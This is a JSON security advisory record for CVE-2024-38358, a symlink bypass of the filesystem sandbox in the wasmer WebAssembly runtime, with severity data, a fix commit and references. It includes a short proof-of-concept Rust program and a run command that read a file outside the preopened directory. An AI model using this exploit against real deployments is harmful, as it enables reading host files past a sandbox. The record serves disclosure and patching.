{"id":"CVE-2024-38358","aliases":["GHSA-55f3-3qvg-8pv5"],"url":"https://o3.security/vulnerability/CVE-2024-38358","summary":"Symlink bypasses filesystem sandbox in wasmer","details":"### Summary\n\nIf the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both `oflags::creat` and `rights::fd_write`. Programs can also crash the runtime by creating a symlink pointing outside with `path_symlink` and `path_open`ing the link.\n\n### Details\n\n\n\n### PoC\nSetup a filesystem as follows.\n\n```\n.\n├── outside.file\n└── preopen\n    └── dir\n        └── file -> ../../outside.file\n```\n\nCompile this Rust snippet with `wasi` v0.11 (for the preview1 API).\n\n```rust\nfn main() {\n    unsafe {\n        let filefd = wasi::path_open(\n            5,\n            wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,\n            \"app/dir/file\",\n            wasi::OFLAGS_CREAT,\n            wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,\n            0,\n            0,\n        )\n        .unwrap();\n        eprintln!(\"filefd: {filefd}\");\n\n        let mut buf = [0u8; 10];\n        let iovs = [wasi::Iovec {\n            buf: buf.as_mut_ptr(),\n            buf_len: buf.len(),\n        }];\n\n        let read = wasi::fd_read(filefd, &iovs).unwrap();\n\n        eprintln!(\"read {read}: {}\", String::from_utf8_lossy(&buf));\n    }\n}\n```\n\nRun the compiled binary with Wasmer preopening `preopen/`:\n\n```\nwasmer run --mapdir /app:preopen a.wasm\n```\n\nThis should not print the contents of the `outside.file`. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.\n\n","published":"2024-06-19T19:55:26.111Z","modified":"2026-08-12T03:51:25.818422912Z","cvss":{"score":2.9,"severity":"LOW","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"crates.io","name":"wasmer","fixedVersion":null}],"fix":{"url":"https://github.com/wasmerio/wasmer/commit/b9483d022c602b994103f78ecfe46f017f8ac662","label":"wasmerio/wasmer@b9483d0"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/38xxx/CVE-2024-38358.json"},{"type":"ADVISORY","url":"https://github.com/wasmerio/wasmer/security/advisories/GHSA-55f3-3qvg-8pv5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-38358"},{"type":"FIX","url":"https://github.com/wasmerio/wasmer/commit/b9483d022c602b994103f78ecfe46f017f8ac662"},{"type":"PACKAGE","url":"https://github.com/wasmerio/wasmer"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:25.818422912Z"}}